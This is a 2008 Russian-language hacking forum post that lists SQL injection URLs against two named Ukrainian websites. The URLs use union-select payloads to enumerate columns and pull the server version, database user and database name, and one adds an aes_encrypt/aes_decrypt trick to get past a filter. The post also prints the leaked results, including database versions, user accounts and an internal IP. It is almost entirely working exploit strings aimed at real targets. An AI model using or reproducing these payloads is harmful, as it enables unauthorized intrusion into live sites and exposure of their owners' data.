24.06.2008, 05:39
|
|
Познающий
Регистрация: 07.04.2007
Сообщений: 88
Провел на форуме:
6406543
Репутация:
48
|
|
Бага
http://tid.odessa.ua/news/?newsid=-513+union+select+1,2,3,4,5/*
Глянем имя БД
http://tid.odessa.ua/news/?newsid=-513+union+select+concat_ws(0x3a3a,version(),user() ,database()),2,3,4,5/*
Облом... а если так??? 
http://tid.odessa.ua/news/?newsid=-513+union+select+aes_decrypt(aes_encrypt(concat_ws (0x3a3a,version(),user(),database()),0x71),0x71),2 ,3,4,5/*
4.1.11-Debian_4sarge8-log::newtid@localhost::newtid
Бага
http://odessa.tv/news_music_full.php?ns=&lim=&no_active=&str_off=0& idn=-1213960526+union+select+1,2,3,4,5
http://odessa.tv/news_music_full.php?ns=&lim=&no_active=&str_off=0& idn=-1213960526+union+select+1,2,3,concat_ws(0x3a3a,ver sion(),user(),database()),5
5.0.45-Debian_1ubuntu3.3-log::rus1@10.0.0.46::news_music
Если чесно х3 откуда в линках пробелы побрались, их небыло!!!!! Поубирать не забудьте.
Последний раз редактировалось furang; 24.06.2008 в 05:52..
|
|
|